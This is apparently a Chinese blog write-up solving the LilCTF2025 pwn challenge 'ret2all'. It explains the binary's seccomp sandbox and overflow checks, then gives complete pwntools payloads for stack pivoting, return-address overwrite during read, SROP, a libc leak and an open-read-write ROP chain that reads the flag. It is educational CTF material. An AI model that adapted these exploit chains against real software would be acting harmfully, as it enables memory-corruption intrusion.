ret2all

题目来自LilCTF2025的一道pwn题:ret2all

如作者所言

一道溢出的痕,一场检测的困,一次极致的栈,一个落寞的人

落寞的人唱着孤独的题,孤独的题笑着落寞的人

人知题恐怖,题晓人心毒

一件完美的艺术品,葬下了整个栈时代

本题风格是极简,不加那些乱七八糟的东西把题目弄的又乱又看不懂,好让做题者知道,做的是pwn题,不是逆向

要让每个不懂逆向的小pwn手都能看懂题目意思,这才是纯粹的pwn

来看看题目吧!

首先是main函数

1
2
3
4
5
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
return vuln();
}

然后是init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int init()
{
__int64 savedregs; // [rsp+0h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+8h] [rbp+8h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
RBP = (__int64)&savedregs;
RET = (__int64)retaddr - 32;
printf("RBP:%p\n", &savedregs);
printf("RET:%p\n", (const void *)RET);
puts("Keep it and...I love you");
mprotect((void *)((unsigned __int64)&RBP & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 1);
seccomp();
return close(2);
}

设置了标准I/O(0 stdin 1 stdout 2 stderr)

随后直接打印了RBP的值与返回地址

使用mprotect将包含全局变量RBP的内存页(按页对齐,大小0x1000字节)设置为只读

close(2)关闭错误输出(stderr)

以及seccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 seccomp()
{
__int64 v1; // [rsp+38h] [rbp-8h]

v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_rule_add(v1, 0LL, 303LL, 0LL);
seccomp_rule_add(v1, 0LL, 304LL, 0LL);
seccomp_rule_add(v1, 0LL, 40LL, 0LL);
seccomp_rule_add(v1, 0LL, 44LL, 0LL);
seccomp_rule_add(v1, 0LL, 46LL, 0LL);
seccomp_rule_add(v1, 0LL, 19LL, 0LL);
seccomp_rule_add(v1, 0LL, 17LL, 0LL);
seccomp_rule_add(v1, 0LL, 295LL, 0LL);
seccomp_rule_add(v1, 0LL, 327LL, 0LL);
seccomp_rule_add(v1, 0LL, 9LL, 0LL);
seccomp_rule_add(v1, 0LL, 18LL, 0LL);
seccomp_rule_add(v1, 0LL, 20LL, 0LL);
seccomp_rule_add(v1, 0LL, 296LL, 0LL);
seccomp_rule_add(v1, 0LL, 328LL, 0LL);
seccomp_rule_add(v1, 0LL, 5LL, 0LL);
seccomp_rule_add(v1, 0LL, 10LL, 0LL);
seccomp_rule_add(v1, 0LL, 41LL, 0LL);
seccomp_rule_add(v1, 0LL, 42LL, 0LL);
seccomp_rule_add(v1, 0LL, 49LL, 0LL);
seccomp_rule_add(v1, 0LL, 50LL, 0LL);
seccomp_rule_add(v1, 0LL, 56LL, 0LL);
seccomp_rule_add(v1, 0LL, 57LL, 0LL);
seccomp_rule_add(v1, 0LL, 0LL, 1LL);
seccomp_rule_add(v1, 0LL, 1LL, 1LL);
return seccomp_load(v1);
}

如图

ban了execveexecveat等等一堆东西

明显只能ORW

而又注意到read的第一个参数不能大于等于1,因此只能为0(stdin)

且write的第一个参数只能等于2(stderr),但是后面又close(2)

所以需要dup2(1, 2)更改fd才能再调用write

继续看vuln函数

1
2
3
4
__int64 vuln()
{
return rread();
}

套娃是吧,后面你就懂了…

接下来是rread

1
2
3
4
5
6
7
__int64 rread()
{
_BYTE buf[96]; // [rsp+0h] [rbp-60h] BYREF

read(0, buf, 0x88uLL);
return shadow((__int64)buf);
}

终于看到漏洞点了

buf的长度为96字节,而read读取0x88字节

显然存在栈溢出

不过要注意一下为什么return了一个shadow函数?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall shadow(__int64 a1)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 3; ++i )
{
if ( memcmp((const void *)(24LL * i + a1), LOVE, 0x18uLL) )
puts("You don't love me?");
}
if ( memcmp((const void *)(a1 + 96), &RBP, 8uLL) )
puts("You don't keep it?");
if ( memcmp((const void *)(a1 + 104), &RET, 8uLL) )
puts("You don't keep it?");
return 0LL;
}

原来这是一个检测

要求buf必须为四个I love you I feel lonely(全局变量LOVE)

且RBP的值与返回地址不能被修改

乍一看似乎就算没通过检测只是打印You don't love me?You don't keep it?

仔细一想

puts底层会调用write,而write的fd1被沙箱禁用,便会直接退出程序

也就是说前0x70字节确实不能动

故受控的只有后面的0x18字节

我们能干什么呢?

不妨调试一下

注意本地调试最好先暂时关闭ASLR(qwq)

如图

发现了什么

我们可控的最后8字节刚好可以覆盖上一个函数的saved rbp

有什么用呢?

干说有点抽象

继续动手调试

这次先接收白给的信息以通过检测

并列出也许有用的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
p.recvuntil(b'RBP:')
RBP = int(p.recvline().strip(), 16)

p.recvuntil(b'RET:')
RET = int(p.recvline().strip(), 16)

log.success(f"RBP = {hex(RBP)}")
log.success(f"RET = {hex(RET)}")

pie_base = RET - 0x1871
magic_gadget = pie_base + 0x1252
'''
0x0000000000001252 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax] ; ret
'''
read1 = pie_base + 0x182f
read2 = pie_base + 0x1840
read3 = pie_base + 0x183b
leave_ret = pie_base + 0x1852
pop_rbp_ret = magic_gadget + 1
ret = pop_rbp_ret + 1

'''
.text:000000000000182F lea rax, [rbp+buf]
.text:0000000000001833 mov edx, 88h ; nbytes
.text:0000000000001838 mov rsi, rax ; buf
.text:000000000000183B mov edi, 0 ; fd
.text:0000000000001840 call _read
.text:0000000000001845 lea rax, [rbp+buf]
.text:0000000000001849 mov rdi, rax
.text:000000000000184C call shadow
.text:0000000000001851 nop
.text:0000000000001852 leave
.text:0000000000001853 retn
'''

LOVE = b"I love you I feel lonely"

payload1 = LOVE * 4
payload1 += p64(RBP)
payload1 += p64(RET)

payload1 += p64(RBP + 0x10) + p64(read1) + p64(RBP - 0x10)

stack

如图

ni

看到

如图

由于多重函数的嵌套调用

形成连续的3个leave ret!

rreadleave ret返回后执行vulnleave ret

我们控制vulnsaved rbp到任意地址

随后执行main的leave ret

此时便会从我们控制的地址开始执行

即能控制程序执行流程

栈迁移(stack pivot)基础,不再赘述(qwq)

因此我们布置上面的payload,从而控制执行流再次read,创造利用空间

然而

shadow的检测无疑是一道坎

如果每次都要满足其检测

又谈何利用?

因此

新的知识点出现了

栈返回

程序被我们控制后的执行流是这样的

1
2
3
4
5
6
7
8
9
10
11
.text:000000000000182F                 lea     rax, [rbp+buf]
.text:0000000000001833 mov edx, 88h ; nbytes
.text:0000000000001838 mov rsi, rax ; buf
.text:000000000000183B mov edi, 0 ; fd
.text:0000000000001840 call _read
.text:0000000000001845 lea rax, [rbp+buf]
.text:0000000000001849 mov rdi, rax
.text:000000000000184C call shadow
.text:0000000000001851 nop
.text:0000000000001852 leave
.text:0000000000001853 retn

看似无法绕过shadow检测

实则不然

我们调试看看

如图

call read这里

我们si

如图

发现了什么

1
.text:0000000000001845                 lea     rax, [rbp+buf]

call read的返回地址直接被保存在栈上!

补充一下

read其实是glibc共享库中封装好的函数以方便用户的直接调用

其内部实则是这样的

如图

当执行SYS_read时才真正触发系统调用阻塞并等待中断触发时唤醒读入(操作系统学了吗???)

更底层看,便是汇编

1
2
3
4
5
mov rax, 0
mov rdi, fd
mov rsi, buf
mov rdx, size
syscall

更更底层呢

那便是硬件在干活了

我们直接忽略吧(bushi)

因此,我们完全可以在执行SYS_read读入时覆盖call read这个glibc函数的返回地址与rbp,从而绕过检测,控制执行流!

那下一步的目标呢?

由于没有gadget,我们只能打SROP,因此思路便是寻找在栈上的libc地址,通过partial overwrite,覆写为syscall

并通过rax保存函数返回值的机制,通过读入15字节触发SROP

如图

如图

找到一只野生syscall

计算读入起始地址与偏移

布置payload

1
2
payload2 = p64(0) * 7 + p64(RBP + 0xf0) + p64(read1) + p64(leave_ret)
payload2 += p64(RBP + 0x100) + p64(leave_ret) + p64(RBP - 0x18) + p64(leave_ret) + p64(0) + p8(0xec)

但是存在一个问题

这个syscall提供的SROP没有那么干净,也没有那么强有力

我们最想要的其实是syscall ret

因此又要学习一个新的知识点

magic-gadget

长这样:

1
0x0000000000001252 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax] ; ret

看似平平无奇

实则却能发挥出巨大的威力(细品)

我们通过SROP设置好精确计算偏移的rbxrbp

然后利用这个gadget

syscall覆写为syscall ret

发送payload2后栈布局:

如图

提前布置好栈风水

并获得syscall能力(最重要)

随后call read函数返回

但是返回地址和rbp都被篡改

经过一系列leave ret的不断迁移

最终再次执行read

如图

为了保护syscall不被破坏

这次先不打栈返回

正常过检测

配合payload2提前布置好的栈风水

1
2
3
payload3 = LOVE * 4
payload3 += p64(RBP) + p64(RET)
payload3 += p64(RBP + 0xf0) + p64(read1)

得到一个干净的read环境

如图

接下来便可以着手准备SROP

借用一下作者提供的一张图

如图

第一步:利用magic-gadget获得syscall ret

si

call read返回地址

如图

构造payload4

布置sigcontext的同时打栈返回

1
2
3
4
5
6
7
8
9
10
11
12
13
payload4 = b'A' * 8
payload4 += p64(0) # rdi
payload4 += p64(RBP + 0x30) # rsi
payload4 += p64(RBP + 0x65) # rbp
payload4 += p64(0x6edca) # rbx
payload4 += p64(0x200) # rdx
payload4 += p64(0) # rax
payload4 += p64(0) # rcx
payload4 += p64(RBP + 0x40) # rsp
payload4 += p64(read2) # rip
payload4 += p64(0) # eflags
payload4 += p64(0x33) # cs/gs/fs
payload4 += p64(RBP + 0x150 + 1) + p64(read1) + p64(RBP + 0x20) + p64(leave_ret)

发送后的栈布局:

如图

执行leave ret后再次read:

如图

再次打栈返回

此时sigcontext已经布置好,只需要将rax设置为15随后syscall

注意rbp先前巧妙的设置以顺利读入15字节!

call read返回地址:

如图

布置payload5

1
payload5 = b'A' * 7 + p64(pop_rbp_ret)

发送

此时栈布局:

如图

配合先前的栈风水布局与pop rbp ret

读入15字节成功设置rax为15,随后syscall!

如图

触发sigreturn

如图

成功控制所有寄存器并再次read

依旧布置sigcontext的同时打栈返回

原理一致,我就不贴图了qwq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload6 = p64(leave_ret)
payload6 += p64(magic_gadget)
payload6 += p64(pop_rbp_ret)
payload6 += p64(RBP + 0xa8 + 1) + p64(read1) + p64(RBP + 0x20)
payload6 += p64(leave_ret) + p64(RBP + 0xd0) + p64(read1) + p64(0) * 4
payload6 += p64(1) # rdi
payload6 += p64(2) # rsi
payload6 += p64(RBP + 0x68) # rbp
payload6 += p64(0) # rbx
payload6 += p64(0) # rdx
payload6 += p64(33) # rax
payload6 += p64(0) # rcx
payload6 += p64(RBP + 0x28) # rsp
payload6 += p64(ret) # rip
payload6 += p64(0) # eflags
payload6 += p64(0x33) # cs/gs/fs

由于rbprbx已经被我们所控制

此时执行magic-gadget

成功获得syscall ret!

如图

随后依旧SROP

1
payload7 = b'A' * 7 + p64(pop_rbp_ret)

配合payload6sigcontext成功dup2(1, 2)!

现在获得标准输出(stdout)了便能轻松泄露libc基址了

同理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload8 = p64(pop_rbp_ret) + p64(RBP + 0xd8 + 1) + p64(read1) + p64(RBP + 0x20) + p64(leave_ret)
payload8 += p64(2) # rdi
payload8 += p64(RBP + 0x28) # rsi
payload8 += p64(RBP + 0xe8) # rbp
payload8 += p64(0) # rbx
payload8 += p64(0x200) # rdx
payload8 += p64(1) # rax
payload8 += p64(0) # rcx
payload8 += p64(RBP + 0x28) # rsp
payload8 += p64(ret) # rip
payload8 += p64(0) # eflags
payload8 += p64(0x33) # cs/gs/fs
payload8 += p64(read3)

payload9 = b'A' * 7 + p64(pop_rbp_ret)

接收

1
2
3
4
5
6
syscall = u64(p.recv(6).ljust(8, b'\0'))
libc_base = syscall - 0x98fb6
success('libc_base =>> ' + hex(libc_base))
pop_rax_ret = libc_base + 0xdd237
pop_rdi_ret = libc_base + 0x10f75b
pop_rsi_ret = libc_base + 0x110a4d

最后打ORW获得flag!

1
2
3
4
5
6
7
8
9
payload10 = b'A' * 0xc0 + b'./flag\x00\x00'
# close
payload10 += p64(pop_rax_ret) + p64(3) + p64(pop_rdi_ret) + p64(0) + p64(syscall)
# open
payload10 += p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(RBP + 0xe8) + p64(pop_rsi_ret) + p64(0) + p64(syscall)
# read
payload10 += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(RBP) + p64(syscall)
# write
payload10 += p64(pop_rax_ret) + p64(1) + p64(pop_rdi_ret) + p64(2) + p64(syscall)

拿下!

如图


总结:

部分过程原理一致,我便没有详细展开了,求放过

但自己学习时一定要hands-on动手布局,调试,方能领悟其真谛

同时不得不感叹

这道题真是惊艳啊

佩服作者的实力:

orz orz orz

本题还有个巧妙点是作者并没有刻意地去加某某知识点到题中,出题者同时也是做题者,我只是尝试加一个沙箱再加一些检测,并且没有添加额外的后门gadget,在做题的过程中下意识地运用自己知道的手段,没想到居然能串起来这么多知识点,并且用得都很顺理成章,故评价为”一件完美的艺术品,葬下了整个栈时代”

最后的最后

还是引用作者的原话:

感谢并恭喜你看完本篇文章,一路走来,你已经经历许多,这是现今栈利用的顶峰,能够完成本题,你已称得上

“Master of Stack”!!!


一道溢出的痕,一场检测的困,一次极致的栈,一个落寞的人


ret2all
https://roxy5201314.github.io/2026/03/31/ret2all/
作者
roxy
发布于
2026年3月31日
更新于
2026年4月1日
许可协议